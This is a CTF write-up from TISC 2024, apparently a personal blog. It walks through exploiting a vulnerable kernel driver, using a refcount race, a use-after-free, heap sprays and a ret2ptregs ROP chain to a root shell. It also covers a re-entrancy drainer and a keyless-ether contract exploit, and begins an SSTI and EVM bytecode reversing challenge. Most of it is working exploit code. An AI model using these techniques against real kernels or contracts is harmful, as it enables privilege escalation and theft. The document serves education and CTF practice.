int add_item(uint16_t UUID)
{
inventoryEntry_t *item;
struct list_head *ptr;
mutex_lock(&INVENTORY_MUTEX);
list_for_each(ptr, &inventory)
{
item = list_entry(ptr, inventoryEntry_t, next);
if (item->header->UUID == UUID)
{
if (item->header->refCount < 255)
{
printk("[*] increment refcount for uuid %d!\n", UUID);
item->header->refCount += 1;
[...]
After checking that the item’s refCount
is less than 255
, it calls printk()
before incrementing the refCount
. This makes it possible for two threads to call add_item()
and successfully race the TOCTOU. Since refCount
is a uint8_t
, it is easy to overflow its value to zero.
While the device tries to limit the number of active player connections by only allowing a single open file descriptor, we can simply duplicate the file descriptor across threads. The following exploit successfully overflows the equipped sword’s reference count to zero. We use two threads to increment refCount
at the same time, while a third thread unlocks INVENTORY_MUTEX
to enable the race.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
int open_game()
{
int fd = open("/dev/kRPG", O_RDWR);
if (fd == -1)
{
fatal("[!] Failed to open misc device kRPG!");
return -1;
}
printf("Device opened successfully: fd=%d\n", fd);
return fd;
}
void payload_racer(int fd)
{
for (int i = 0; i < 3; i++)
{
shop(fd, 1); // buy sword
}
}
void payload_race_helper(int fd)
{
for (int i = 0; i < 1000; i++)
{
heal(fd); // unlock mutex
}
}
int do_race(int fd1, int fd2, int fd3)
{
int starter_num = 250;
user_copy_of_items items;
list_inventory(fd1, &items);
assert(items.refCount == 1);
for (int i = 0; i < starter_num - 1; i++)
{
shop(fd1, 1); // start with starter_num swords
}
list_inventory(fd1, &items);
// Create threads to perform IOCTL calls concurrently
pthread_t threads[3];
pthread_create(&threads[0], NULL, payload_racer, &fd1);
pthread_create(&threads[1], NULL, payload_racer, &fd2);
pthread_create(&threads[2], NULL, payload_race_helper, &fd3);
// Wait for threads to finish
pthread_join(threads[0], NULL);
pthread_join(threads[1], NULL);
pthread_join(threads[2], NULL);
// Use LIST_INVENTORY command to check the refcount
list_inventory(fd1, &items);
if (items.refCount == 0)
{
puts("Race condition hit!");
printf("UUID: %hd, Name: %s, Refcount: %hhu\n", items.UUID, items.name, items.refCount);
return 0;
}
else
{
// Fail. Reset the inventory.
for (int i = 0; i < items.refCount - 1; i++)
{
remove_item(fd1, 0x1337);
}
list_inventory(fd1, &items);
assert(items.refCount == 1);
return 1;
}
}
int main() {
int fd = open_game();
// Duplicate the file descriptor
int dup_fd = dup(fd);
if (dup_fd < 0)
{
perror("Failed to duplicate file descriptor");
close(fd);
exit(EXIT_FAILURE);
}
// Dupe again
int dup_fd2 = dup(fd);
if (dup_fd2 < 0)
{
perror("Failed to duplicate file descriptor");
close(fd);
exit(EXIT_FAILURE);
}
/* Pre-payload */
for (int i = 0; i < 30000; i++)
{
mine(fd); // Obtain gold for purchasing items later.
}
shop(fd, 1); // Purchase the sword
use_item(fd, 0x1337); // Equip the sword
int race_res = 1;
while (race_res)
{
race_res = do_race(fd, dup_fd, dup_fd2);
}
// Purchase 2 potions
shop(fd, 2);
shop(fd, 2);
heal(fd); // Use a potion, triggering the kfree in garbage collection
}
After we successfully overflow the sword’s reference count to zero, we purchase two potions and consume one with the HEAL
command. This calls use_health_potion()
, which triggers the kfree()
on the sword, giving us a UAF. Note that we make sure not to purchase any potions prior to the race completion as that will cause use_health_potion()
to acquire the mutex as well.
With our UAF on sword, our next objective is to kill the dragon. This is achievable by causing an allocation at the same address with a large value overlapping with the attack
member. From ptr-yudai’s collection of kernel structs, the shm_file_data
struct looks like a good choice. It is size 0x20
, the same as the weapon_t
struct, and contains kernel pointers at offsets 0x08
, 0x10
and 0x18
. That last kernel pointer overlaps with the attack
member, giving us an extremely large attack stat. We can use a heap spray to coax the memory allocator into servicing the shm_file_data
allocation with the freed weapon_t
struct chunk.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// spray shmem structures
puts("Spraying shmem!");
int shmid;
char *shmaddr;
for (int i = 0; i < 100; i++)
{
if ((shmid = shmget(IPC_PRIVATE, 100, 0600)) == -1)
{
perror("shmget error");
exit(-1);
}
shmaddr = shmat(shmid, NULL, 0);
if (shmaddr == (void *)-1)
{
perror("shmat error");
exit(-1);
}
}
weapon_t weapon;
query_weapon_stats(fd, &weapon); // Use QUERY_WEAPON_STATS command
printf("Attack: %lu, Name: %s\n", weapon.attack, weapon.name);
assert(weapon.attack > 1); // else spray failed
Now, we have a strong weapon that we can use to defeat the dragon. Before doing that, let’s use this opportunity to obtain some leaks. The QUERY_WEAPON_STATS
command copies the memory of player’s equipped weapon into userspace. This means we can read all 0x20
bytes of its memory which now contain multiple kernel pointers after the UAF.
1
2
3
4
5
6
unsigned long shm_leak1 = *(unsigned long *)(&weapon.name[0x00]);
unsigned long shm_leak2 = *(unsigned long *)(&weapon.name[0x08]);
unsigned long shm_leak3 = *(unsigned long *)(&weapon.name[0x10]);
printf("[Pwn] Shm leaks: %lx, %lx, %lx\n", shm_leak1, shm_leak2, shm_leak3);
unsigned long kernel_base = shm_leak2 - 0xffffffffb7025840 + 0xffffffffb5600000;
printf("[Pwn] Kbase: %lx\n", kernel_base);
The pointer at offset 0x08
is the struct’s ns
member, which points into the kernel’s data area. This gives us a kernel base leak, defeating KASLR.
So far, we have been using different variants of the query ioctl
command. None of them are vulnerable in isolation except for QUERY_PLAYER_STATS
. This copies the entire player struct into userspace memory. Since the struct includes the weapon_t *equipped
pointer, which points to the currently equipped weapon allocated in the kernel heap, we can use it to leak a kernel heap address. We will use this leak for heap-fu later.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
typedef struct
{
unsigned long health;
weapon_t *equipped;
unsigned long gold;
} player_t;
player_t player = {
.health = 10,
.equipped = NULL,
.gold = 0,
};
static long rpg_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
[...]
case QUERY_PLAYER_STATS:
copy_to((void *)arg, (void *)&player, sizeof(player_t));
break;
1
2
3
4
player_t player;
query_player_stats(fd, &player);
void *weapon_leak = player.equipped;
printf("weapon leak (kheap): %p\n", weapon_leak);
Now, let’s defeat the dragon.
1
2
3
4
5
6
7
8
9
10
11
12
void kill_dragon(int fd)
{
assert(ioctl(fd, START_BATTLE) == 0);
assert(ioctl(fd, ATTACK) == 0);
assert(ioctl(fd, ATTACK) == 0);
assert(ioctl(fd, ATTACK) == 1337);
}
int main() {
[...]
kill_dragon(fd);
}
This grants us access to the FEEDBACK
and RESET
commands.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
static int get_feedback(char *__user buf)
{
feedback_header_t tmp;
mutex_lock(&ETC_MUTEX);
// player can only feedback after killing the dragon!
if (!atomic_read(&dragon_killed) || buf == NULL)
{
return 1;
}
copy_from((void *)&tmp, buf, sizeof(feedback_header_t));
if (feedback == NULL)
{
feedback = kzalloc(sizeof(feedback_header_t) + tmp.size, GFP_KERNEL_ACCOUNT);
memcpy((void *)feedback, (void *)&tmp, sizeof(feedback_header_t));
}
if (tmp.size > feedback->size)
return 1;
copy_from((void *)feedback + sizeof(feedback_header_t), buf + sizeof(feedback_header_t), tmp.size);
mutex_unlock(&ETC_MUTEX);
return 0;
}
static long rpg_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
[...]
case FEEDBACK:
return get_feedback((char *__user)arg);
[...]
The function reads a tmp.size
from the user, allocating a heap buffer of that size with kzalloc()
. Then, the function copies exactly tmp.size
bytes into the heap buffer. If the feedback
struct already exists, the function will copy the user’s input into the buffer, checking that the number of bytes copied does not exceed the buffer’s size. This function has no vulnerabilities.
There is actually a possible integer overflow in
kzalloc(sizeof(feedback_header_t) + tmp.size)
but this is not practically exploitable.
Next, let’s take a look at the RESET
handler in greater detail.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
mob_t *mobs[3];
feedback_header_t *feedback;
int8_t cur_mob;
static int attack_boss(void)
{
mutex_lock(&ETC_MUTEX);
mutex_lock(&PLAYER_MUTEX);
mutex_lock(&MOB_MUTEX);
if (player.equipped != NULL)
{
mobs[cur_mob]->health -= player.equipped->attack;
if (player.equipped->attack >= mobs[cur_mob]->health)
[...]
}
static long rpg_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
[...]
case RESET:
mutex_lock(&ETC_MUTEX);
mutex_lock(&MOB_MUTEX);
i = atomic_read(&dragon_killed);
if (i)
{
// only the dragon killer is worthy of revisiting his previous opponents.
cur_mob -= 1;
slime.health = 5;
wolf.health = 30;
dragon.health = 100;
}
mutex_unlock(&ETC_MUTEX);
mutex_unlock(&MOB_MUTEX);
return 0;
As mentioned earlier, we can decrement cur_mob
past zero, leading to an OOB array access when it is used to index mobs
. An instance of this is in attack_boss()
, where the mob at the index cur_mob
is subject to the player’s attack.
Analyzing the driver’s memory layout in a decompiler, we find that the layout is structured so that mobs[-2] == feedback
and mobs[-2]->health == feedback->size
. This means that by decrementing cur_mob
to -2
and attacking the mob using the ATTACK
command, we can decrement feedback->size
. Since our prior UAF has overwritten our sword’s attack stat with a large value, this will cause feedback->size
to underflow. Subsequently, when we try to write to the feedback
struct with get_feedback()
, the driver will read the fake size, allowing us to write OOB on the heap-allocated buffer!
1
2
3
4
5
6
7
8
9
10
11
12
int main() {
[...]
// Create feedback struct
assert(give_feedback(fd, "BBBB", 0x20 - sizeof(feedback_header_t)) == 0);
for (int i = 0; i < 5; i++)
{
reset(fd);
}
// cur_mob == -2, mobs[cur_mob] == feedback
assert(ioctl(fd, ATTACK) == 0); // underflow feedback->size
A unbounded OOB heap write is an extremely strong primitive coupled with the leaks we have. At this point, we can use a variety of exploit strategies. I opted for the well-documented seq_operation
to ret2ptregs technique. I will briefly outline the technique here.
This attack has two parts, RIP control and KROP. In order to gain RIP control, we want to overwrite the function pointers in the seq_operations
struct.
1
2
3
4
5
6
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
This struct is of size 0x20
and contains four function pointers. We can cause an allocation of this struct with open("/proc/self/stat", O_RDONLY)
. The start
function pointer is called when we perform read
on its file descriptor. So, our strategy is as follows: spray the heap with the struct, use the heap OOB write to overwrite start
with our target, trigger execution of our target by calling read
on the sprayed file descriptors.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int main() {
[...]
// Ensure that the feedback struct is allocated with the same size as seq_operations
assert(give_feedback(fd, "BBBB", 0x20 - sizeof(feedback_header_t)) == 0);
[...]
puts("spraying seq_operations");
int spray[800] = {0};
for (int i = 0; i < 800; i++)
{
if ((spray[i] = open("/proc/self/stat", O_RDONLY)) == -1)
{
exit(-1);
}
}
TARGET = 0x4141414141414141;
long *exp = malloc(0x20);
exp[1] = TARGET;
// overflow feedback, overwriting the start pointer with TARGET
assert(give_feedback(fd, (char *)exp, 0x10) == 0);
Successfully controlling RIP.
The seq_operation
attack is insufficient on its own as we do not have control over any of the registers. This is where ret2ptregs comes in. When a program performs a syscall, the flow of execution is transferred to the kernel. The kernel pushes all the user’s registers onto the kernel stack to form the pt_regs
structure.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};
By placing specific values in the registers at the time of the syscall, we can craft a ROP chain within the struct. This attack usually uses the registers r15
to r10
to form a 64 byte long ROP payload. This ROP chain would be constructed at the bottom of the kernel stack, which is far from the stack pointer at the point of RIP control with seq_operations
. Hence, we need to use a add rsp, X
gadget in order to pop the stack pointer into our crafted ROP chain. The exact increment can be found empirically. I used ROPgadget to find the following gadget which perfectly jumps to our ROP chain:
1
2
0xffffffff810c535b: add rsp, 0x190 ; pop rbx ; pop r12 ; pop rbp ; jmp 0xffffffff82002240
// 0xffffffff82002240: ret;
Tip: While ropr is often faster at finding gadgets, ROPgadget usually finds more gadgets. Furthermore, I had to increase the search depth with
--depth 15
for ROPgadget to find this gadget. The default search depth will not turn up any results.
At this point, Nspace’s Kernote write-up covers the privilege escalation ROP chain:
1
2
3
4
5
6
7
8
r15: 0xffffffff81075c4c: pop rdi; ret
r14: 0xffffffff8266b780: &init_cred
r13: 0xffffffff810c9dd5: commit_creds
r12: 0xffffffff810761da: pop rcx; ret
rbp: < address of our code in userspace >
rbx: 0xffffffff8107605a: pop r11; ret
r11: < valid rflags value >
r10: 0xffffffff81c00109: return from syscall
This would be the end of the challenge for most people. However, I couldn’t get the ROPchain to work during the CTF. Instead, I opted to perform a stack pivot and write my ROP chain elsewhere in memory. This exploit path is actually an unnecessary detour but I will explain it for veracity.
I used ret2ptregs to run the following ROP chain:
1
2
r15: pop rsp; ret
r14: < stack pivot address >
This would pivot the kernel stack into the address specified in r14
. Prior to this, we need to have written our full ROP chain to that address.
A common way of writing arbitrary content to the heap is by using the msg_msg
struct. We can spray the heap with msg_msg
structs containing our desired ROP chain. With the heap leak earlier, we can calculate the struct’s address using some heap-fu.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
unsigned long user_cs, user_ss, user_rsp, user_rflags;
static void save_state()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_rsp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] Saved state");
}
#define NUM_SPRAYS 2000
#define SPRAY_SIZE 256 // Adjust based on your target
int alloc_msg(void)
{
int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
if (msqid < 0)
{
perror("msgget");
exit(1);
}
return msqid;
}
void spray_msg(int msqid, void *buf, size_t size)
{
struct
{
long mtype;
char mtext[size];
} msg;
msg.mtype = 1;
// ROP chain
uint64_t *rop = (uint64_t *)&msg.mtext[0];
*rop++ = pop_rdi_ret;
*rop++ = 0x0;
*rop++ = prepare_kernel_cred;
*rop++ = commit_creds;
*rop++ = swapgs_restore_regs_and_return_to_usermode;
*rop++ = 0x0;
*rop++ = 0x0;
*rop++ = (uint64_t)getRootShell;
*rop++ = user_cs;
*rop++ = user_rflags;
*rop++ = user_rsp;
*rop = user_ss;
if (msgsnd(msqid, &msg, size, 0) == -1)
{
perror("msgsnd");
exit(1);
}
}
int spray_msgmsg(void)
{
int msqids[NUM_SPRAYS];
// Allocate message queues
for (int i = 0; i < NUM_SPRAYS; i++)
{
msqids[i] = alloc_msg();
}
for (int i = 0; i < NUM_SPRAYS; i++)
{
spray_msg(msqids[i], 0, SPRAY_SIZE);
}
return 0;
}
int main() {
save_state(); // save registers for ROP later
[...]
spray_msgmsg();
sleep(2);
// Heap-fu
rop_addr = ((size_t)weapon_leak - 0x138170);
rop_addr = rop_addr - (rop_addr % 0x1000);
rop_addr += 0x400 * 2 + 0x30;
printf("Guessing rop_addr: 0x%lx\n", rop_addr);
for (int i = 0; i < 800; i++)
{
char buf[32];
// setup registers for ret2ptregs
__asm__(
"mov r15, pop_rsp_ret;"
"mov r14, rop_addr;"
);
read(spray[i], buf, 32);
}
}
This method is explained in greater depth in this write-up of babydriver. During the CTF, I neglected to spray the heap from the same CPU. This made my exploit extremely unreliable, with a success rate of approximately 1/32.
After a few attempts, we manage to land a root shell!
Flag: TISC{it_was_SPECTRE_all_along...at_least_we_stopped_him_for_now}
I really enjoyed playing TISC this year. As a Pwn main, the three Pwn challenges in the later levels were fun to solve – two novel environments (Radare2 plugin and Verona sandbox) and one kernel pwn (this is actually my first official kpwn solve in a live CTF!). While the two Web3 challenges in the Reversing track might have thrown off some competitors, I was quite lucky to have studied Web3 for a while now. At the same time, the hardware challenges were well-designed and thought-provoking. Great job to the TISC team for organizing the event!
Maybe next year I will finally set a challenge…
This is a continuation of my TISC writeups. This post will cover stage 6-9.
We are given a Solidity smart contract Noncevigator.sol
, with the challenge description:
1
2
3
It seems like our enemies may have hidden some of their treasures somewhere along in our little island, all secured by this blockchain technology.
We have heard rumours that to access the treasure, you must navigate to the correct location and possess the correct value of the "number used only once". This unique code is essential for unlocking the fortified gate guarding the treasure!
Together with the challenge name, the author is pretty clearly hinting at nonces. In the context of Ethereum smart contracts, the concept of nonces is most famous in its use for contract creation. Ethereum accounts can create contracts with the
create
EVM opcode. The address of the newly created contract is derived with:keccak256(rlp.encode([<account_address>, <nonce>])
, wherenonce
starts at zero and is incremented with each contract creation.
Let’s take a look at the first of two contracts in the code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pragma solidity ^0.8.19;
contract Noncevigator {
mapping(string => address) private treasureLocations;
mapping(string => bool) public isLocationOpen;
address private travelFundVaultAddr;
bool isCompassWorking;
event TeasureLocationReturned(string indexed name, address indexed addr);
constructor(address hindhedeAddr, address coneyIslandAddr, address pulauSemakauAddr, address tfvAddr) {
travelFundVaultAddr = tfvAddr;
treasureLocations["hindhede"] = hindhedeAddr;
treasureLocations["coneyIsland"] = coneyIslandAddr;
treasureLocations["pulauSemakau"] = pulauSemakauAddr;
isLocationOpen["coneyIsland"] = true;
}
function getVaultLocation() public view returns (address) {
return travelFundVaultAddr;
}
function getTreasureLocation(string calldata name) public returns (address) {
address addr = treasureLocations[name];
emit TeasureLocationReturned(name, addr);
return addr;
}
function startUnlockingGate(string calldata _destination) public {
require(treasureLocations[_destination] != address(0));
require(msg.sender.balance >= 170 ether);
(bool success, bytes memory retValue) = treasureLocations[_destination].delegatecall(abi.encodeWithSignature("unlockgate()"));
require(success, "Denied entry!");
require(abi.decode(retValue, (bool)), "Cannot unlock gate!");
}
function isSolved() external view returns (bool) {
return isLocationOpen["pulauSemakau"];
}
}
A contract Noncevigator
’s constructor initializes its mappings with the function parameters. It exposes an isSolved()
function that requires us to set isLocationOpen["pulauSemakau"] == true
. Its default value is false
. The contract also has a startUnlockingGate()
function that enables the sender to trigger a delegatecall
on one of the treasureLocations
(keep in mind that these addresses are set upon the contract’s construction and are defined in the challenge server). delegatecall
preserves the context of the original call, in this case Noncevigator.startUnlockingGate()
, including the caller contract’s storage layout. This means that the callee can arbitrarily modify the caller contract’s member variables. While delegatecall
has practical use cases, it is often introduced as a vulnerability in CTF challenges. In this case, it can trivially set isLocationOpen["pulauSemakau"]
, achieving our win condition.
However, in calling startUnlockingGate()
, there is a check that the sender’s balance is greater that 170 ether, which is more than the player starts with (around 10 ether). This is where the second contract comes into play.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
contract TravelFundvault {
mapping (address => uint256) private userBalances;
constructor() payable {
require(msg.value == 180 ether, "Initial funding of 180 ether required");
}
function deposit() external payable {
userBalances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 balance = getUserBalance(msg.sender);
require(balance > 0, "Insufficient balance");
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Failed to withdraw Ether");
userBalances[msg.sender] = 0;
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
function getUserBalance(address _user) public view returns (uint256) {
return userBalances[_user];
}
}
This contract defines a vault with a classic vulnerability in withdraw()
. The function does not follow the recommended Checks-Effects-Interactions pattern, making it vulnerable to a re-entrancy attack. The function first checks whether the caller has sufficient balance for a withdrawal. Then, the interaction happens as it sends the eth back to the caller. At the end, the function performs its effects and sets the user’s balance to zero. The vulnerability lies in the fact that during the interaction, after the vault transfers the eth but before the vault updates the caller’s balance, the caller can call withdraw()
again. Since the caller’s balance has not been zeroed, the subsequent call to withdraw()
will send the caller its balance again. This can be repeated until the vault is drained.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
contract Solver {
address player;
address challenge_addr;
Noncevigator nonce;
TravelFundvault vault;
constructor(address challenge_addr_) {
challenge_addr = challenge_addr_;
player = tx.origin;
nonce = Noncevigator(challenge_addr);
vault = TravelFundvault(nonce.getVaultLocation());
}
function deposit() public payable returns (bool) {
return true;
}
function drain() public {
vault.deposit{value: 9.8 ether}();
vault.withdraw();
}
fallback() external payable {
if (address(this).balance < 170 ether) {
vault.withdraw();
}
}
}
contract SolveTisc is Script {
address challenge_addr = 0x38EF198b25DF6482E80823A5DBFeDA00811CE8a4;
function run() public {
vm.startBroadcast();
Solver s = new Solver(challenge_addr);
// use a separate function to avoid triggering the fallback
s.deposit{value: address(tx.origin).balance}();
// some issues with gas estimation on remote, so we specify the gas
address(s).call{gas: 0x6f46b0}(abi.encodeWithSignature("drain()"));
}
}
So, we can now call startUnlockingGate()
, but without control over the treasureLocations
addresses, we cannot define the contract code to be run during the delegatecall
. The last piece of the puzzle is the earlier hint about nonces. When I was solving this challenge, this blog post about keyless ether came to mind. In a nutshell, you can precalculate the resultant addresses for contracts created by your account and send ether to that address. This ether will be hidden since the associated account does not exist yet. I immediately suspected that this was the technique the challenge author was using. I wrote up a POC script to test this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
contract Solver {
[...]
function futureAddresses(address target, uint8 nonce_) public view returns (address) {
bytes memory prefix = hex"d694";
bytes20 thisAddress = bytes20(target);
if(nonce_ == 0) {
return address(uint160(uint256(keccak256(abi.encodePacked(prefix, thisAddress, hex"80")))));
}
return address(uint160(uint256(keccak256(abi.encodePacked(prefix, thisAddress, nonce_)))));
}
function info() public {
address hindhede_addr = nonce.getTreasureLocation("hindhede");
address coney_addr = nonce.getTreasureLocation("coneyIsland");
address pulau_addr = nonce.getTreasureLocation("pulauSemakau");
for (uint8 i = 0; i < 255; i++) {
address target = futureAddresses(player, i);
if (target == hindhede_addr || target == coney_addr || target == pulau_addr) {
console.log(i);
if (target == hindhede_addr) {
console.log("hindhede");
} else if (target == coney_addr) {
console.log("coney");
} else {
console.log("pulau");
}
}
}
}
}
Empirically, we find that the treasureLocations["pulauSemakau"]
contract address always coincides with the resultant address of a contract that the player can create. The exact contract roughly ranges from the 35th to 50th new contract creation. We can create a skeleton contract that sets the win condition to be true when called via delegatecall
, and run a script to deploy around 50 of these contracts.
1
2
3
4
5
6
7
8
9
10
11
12
13
contract Fake {
// Use the same storage layout
mapping(string => address) private treasureLocations;
mapping(string => bool) public isLocationOpen;
address private travelFundVaultAddr;
bool isCompassWorking;
event TeasureLocationReturned(string indexed name, address indexed addr);
function unlockgate() public returns (bool) {
isLocationOpen["pulauSemakau"] = true;
return true;
}
}
1
2
3
4
5
#!/bin/bash
for i in {1..50}
do
forge create --rpc-url http://chals.tisc24.ctf.sg:47156/e14619ef-3151-4d41-9f45-86b4d1ea2214 --private-key 0xed3c0a313241e0892d0186cd2c89aca527f3d525ba8d42dc51ebcd78070cd8d4 --legacy src/tisc.sol:Fake
done
After previously draining the vault, all that is left is to call startUnlockingGate
with "pulauSemakau"
as the argument, triggering the delegatecall
, and satisfying the win condition.
Flag: TISC{ReeN7r4NCY_4ND_deTerminI5TIc_aDDReSs}
This is the sixth level of TISC. When competitors reach this stage, they can choose between two tracks: Rev and Cloud/Web. While this is a Solidity smart contract challenge (with source), it was strangely classified under the Rev track.
While “keyless ether” is not a very well-known technique, the structure of the startUnlockingGate()
function provides a hint. A precondition to triggering the delegateCall()
exploit is the ability to control one of the treasureLocations
addresses. Since it is unlikely that the author would add a delegateCall()
that cannot be triggered, we know that there must be a way to control the contract code at one of the treasureLocations
addresses. This sort of meta-analysis can often signpost the intended solution in CTF challenges.
This a reversing challenge with elements of Web3 and Web. We are given a URL http://chals.tisc24.ctf.sg:52416/
and some of its source in baby_flagchecker.zip
. Visiting the site, we are greeted with a keyphrase checker. Upon submitting an input, we are redirected to a results page that tells us the input is invalid. Presumably, only entering the flag would register as a valid input.
The source comprises of a front-facing Flask app server and a FastAPI backend server. The app server handles the form submissions, and sends a request to the backend to check the flag. Here is the Flask app’s source code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
@app.route('/submit', methods=['POST'])
def submit():
password = request.form['password']
try:
if len(password) > 32:
return render_template_string("""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Check Result</title>
</head>
<body>
<h1>Keyphrase too long!</h1>
<a href="/">Go back</a>
</body>
</html>
""")
response = requests.post("http://server:5000/check", json={"password": password})
response_data = response.json()
return render_template_string("""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Check Result</title>
<style>
body, html {
height: 100%;
margin: 0;
font-family: Arial, sans-serif;
display: flex;
justify-content: center;
align-items: center;
text-align: center;
}
.container {
display: flex;
flex-direction: column;
align-items: center;
}
a {
padding: 10px 20px;
text-decoration: none;
background-color: #007bff;
color: white;
border-radius: 5px;
}
a:hover {
background-color: #0056b3;
}
</style>
</head>
<body>
<div class="container">
<p>Result for """ + password + """:</p>
<h1>Invalid</h1>
<a href="/">Go back</a>
</div>
</body>
</html>
""", response_data=response_data)
except Exception as e:
return str(e)
There is a trivial SSTI as the route handler uses render_template_string
with unescaped user input (password
). We can use the payload `` to leak the response_data
from the context. This returns:
1
Result for {'output': False, 'setup_contract_address': '0x9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0', 'setup_contract_bytecode': '0x6080...', 'adminpanel_contract_bytecode': '0x6085...', 'secret_contract_bytecode': '0xREDACTED', 'gas': 29307}:
The SSTI payload is limited to 32 characters as the password’s length is checked at the start of the function. This prevents us from using typical SSTI payloads to achieve RCE.
Looking at the backend server’s source, this corresponds to the output from the backend’s /check
request handler:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
@app.post("/check")
async def check(password_input: PasswordInput):
password = password_input.password
try:
web3_client = connect_to_anvil()
setup_contract = init_setup_contract(web3_client)
output_json = call_check_password(setup_contract, password)
return output_json
except RuntimeError as e:
raise HTTPException(status_code=500, detail=str(e))
def call_check_password(setup_contract, password):
# Call checkPassword function
passwordEncoded = '0x' + bytes(password.ljust(32, '\0'), 'utf-8').hex()
# Get result and gas used
try:
gas = setup_contract.functions.checkPassword(passwordEncoded).estimate_gas()
output = setup_contract.functions.checkPassword(passwordEncoded).call()
logger.info(f'Gas used: {gas}')
logger.info(f'Check password result: {output}')
except Exception as e:
logger.error(f'Error calling checkPassword: {e}')
# Return debugging information
return {
"output": output,
"contract_address": setup_contract.address,
"setup_contract_bytecode": os.environ['SETUP_BYTECODE'],
"adminpanel_contract_bytecode": os.environ['ADMINPANEL_BYTECODE'],
"secret_contract_bytecode": os.environ['SECRET_BYTECODE'],
"gas": gas
}
connect_to_anvil()
and init_setup_contract()
are boilerplate functions with no interesting behaviour.
The call_check_password
uses the web3
Python library to interface with the deployed contract, calling its checkPassword
function with the provided password. The function returns the result of calling the contract function, as well as some debugging information. From our SSTI leak, we managed to leak the setup contract bytecode and the admin panel contract bytecode. Let’s try to figure out what these contracts do.
When I was trying this challenge, I decided to reverse the admin panel bytecode first since its name was more suggestive of interesting behaviour (and it was also considerably shorter!). I used the EtherVM decompiler but its decompilation didn’t reveal much. Instead, I had to analyze the disassembly directly. Let’s skip the contract constructor and dive right into the main function:
1
2
3
0009 5F PUSH0
000A 35 CALLDATALOAD
000B 80 DUP1
The function starts by loading 32 bytes of the calldata, starting from offset 0, onto the stack, and duplicates it. The calldata includes the function selector and the function parameters.
1
2
3
4
000C 60 PUSH1 0xd8
000E 1C SHR
000F 64 PUSH5 0x544953437b
0015 14 EQ
It then isolates the first 5 bytes of the calldata using a bitshift and compares it against 0x544953437b
, which is hex for "TISC{"
. The result of the comparison is stored on the stack.
1
2
3
4
5
6
7
0016 81 DUP2
0017 60 PUSH1 0x80
0019 1B SHL
001A 60 PUSH1 0xf8
001C 1C SHR
001D 60 PUSH1 0x7d
001F 14 EQ
It then isolates the 17th byte of the calldata using bitshifts and compares it against 0x7d
, which is hex for "}"
